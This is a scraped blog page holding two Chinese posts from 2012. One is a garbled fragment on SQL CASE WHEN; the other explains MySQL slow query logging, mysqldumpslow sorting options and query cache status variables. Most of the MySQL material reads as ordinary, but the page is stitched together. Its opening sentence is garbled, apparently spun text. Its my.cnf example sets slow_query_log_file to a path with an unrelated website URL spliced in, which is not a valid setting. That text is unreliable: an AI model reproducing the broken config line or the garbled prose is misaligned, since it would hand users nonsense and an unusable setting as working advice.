根据我自己的经验我倒觉得在使用case when这个很像asp case when以在php swicth case开发关语句的用法,只要有点基础知道我觉得在sql中的case when其实也很好理解。

更多可参考http://www.111cn.net/database/Oracle/42504.htm

posted @ 2012-05-03 22:14 php开发 阅读(91) 评论(0) 编辑
 

会经常发现开发人员查一下没用索引的语句或者没有limit n的语句,这些没语句会对数据库造成很大的影响,例如一个几千万条记录的大表要全部扫描,或者是不停的做filesort,对数据库和服务器造成io影响等。这是镜像库上面的情况。

而到了线上库,除了出现没有索引的语句,没有用limit的语句,还多了一个情况,mysql连接数过多的问题。说到这里,先来看看以前我们的监控做法

1. 部署zabbix等开源分布式监控系统,获取每天的数据库的io,cpu,连接数

2. 部署每周性能统计,包含数据增加量,iostat,vmstat,datasize的情况

3. Mysql slowlog收集,列出top 10

 

以前以为做了这些监控已经是很完美了,现在部署了mysql节点进程监控之后,才发现很多弊端

第一种做法的弊端: zabbix太庞大,而且不是在mysql内部做的监控,很多数据不是非常准备,现在一般都是用来查阅历史的数据情况

第二种做法的弊端:因为是每周只跑一次,很多情况没法发现和报警

第三种做法的弊端: 当节点的slowlog非常多的时候,top10就变得没意义了,而且很多时候会给出那些是一定要跑的定期任务语句给你。。参考的价值不大

那么我们怎么来解决和查询这些问题呢


对于排查问题找出性能瓶颈来说,最容易发现并解决的问题就是MYSQL的慢查询以及没有得用索引的查询。

    OK,开始找出mysql中执行起来不“爽”的SQL语句吧。

=========================================================

方法一: 这个方法我正在用,呵呵,比较喜欢这种即时性的。

 代码如下 复制代码
 Mysql5.0以上的版本可以支持将执行比较慢的SQL语句记录下来。

mysql> show variables like 'long%';     注:这个long_query_time是用来定义慢于多少秒的才算“慢查询”
+-----------------+-----------+
| Variable_name   | Value     |
+-----------------+-----------+
| long_query_time | 10.000000 |
+-----------------+-----------+
1 row in set (0.00 sec)

mysql> set long_query_time=1;   注: 我设置了1, 也就是执行时间超过1秒的都算慢查询。
Query OK, 0 rows affected (0.00 sec)

mysql> show variables like 'slow%';
+---------------------+---------------+
| Variable_name       | Value         |
+---------------------+---------------+
| slow_launch_time    | 2             |
| slow_query_log      | ON            |           注:是否打开日志记录
| slow_query_log_file | /tmp/slow.log |      注: 设置到什么位置
+---------------------+---------------+
3 rows in set (0.00 sec)


mysql> set global slow_query_log='ON'   注:打开日志记录

一旦slow_query_log变量被设置为ON,mysql会立即开始记录。

/etc/my.cnf   里面可以设置上面MYSQL全局变量的初始值。
long_query_time=1
slow_query_log_file=/http://www.hzhuti.com/nokia/x6//slow.log
 

====================================================

方法二:mysqldumpslow命令

 

 代码如下 复制代码
/path/mysqldumpslow -s c -t 10 /tmp/slow-log
这会输出记录次数最多的10条SQL语句,其中:

-s, 是表示按照何种方式排序,c、t、l、r分别是按照记录次数、时间、查询时间、返回的记录数来排序,ac、at、al、ar,表示相应的倒叙;
-t, 是top n的意思,即为返回前面多少条的数据;
-g, 后边可以写一个正则匹配模式,大小写不敏感的;
比如
/path/mysqldumpslow -s r -t 10 /tmp/slow-log
得到返回记录集最多的10个查询。
/path/mysqldumpslow -s t -t 10 -g “left join” /tmp/slow-log
得到按照时间排序的前10条里面含有左连接的查询语句。
 

 

最后总结一下节点监控的好处

1. 轻量级的监控,而且是实时的,还可以根据实际的情况来定制和修改

2. 设置了过滤程序,可以对那些一定要跑的语句进行过滤

3. 及时发现那些没有用索引,或者是不合法的查询,虽然这很耗时去处理那些慢语句,但这样可以避免数据库挂掉,还是值得的

4.  在数据库出现连接数过多的时候,程序会自动保存当前数据库的processlist,DBA进行原因查找的时候这可是利器

5.  使用mysqlbinlog 来分析的时候,可以得到明确的数据库状态异常的时间段

有些人会建义我们来做mysql配置文件设置


调节tmp_table_size  的时候发现另外一些参数
Qcache_queries_in_cache  在缓存中已注册的查询数目 
Qcache_inserts  被加入到缓存中的查询数目 
Qcache_hits  缓存采样数数目 
Qcache_lowmem_prunes  因为缺少内存而被从缓存中删除的查询数目 
Qcache_not_cached  没有被缓存的查询数目 (不能被缓存的,或由于 QUERY_CACHE_TYPE) 
Qcache_free_memory  查询缓存的空闲内存总数 
Qcache_free_blocks  查询缓存中的空闲内存块的数目 
Qcache_total_blocks  查询缓存中的块的总数目

Qcache_free_memory 可以缓存一些常用的查询,如果是常用的sql会被装载到内存。那样会增加数据库访问速度。

更多可参考http://www.111cn.net/database/mysql/42467.htm

posted @ 2012-05-03 22:12 php开发 阅读(38) 评论(0) 编辑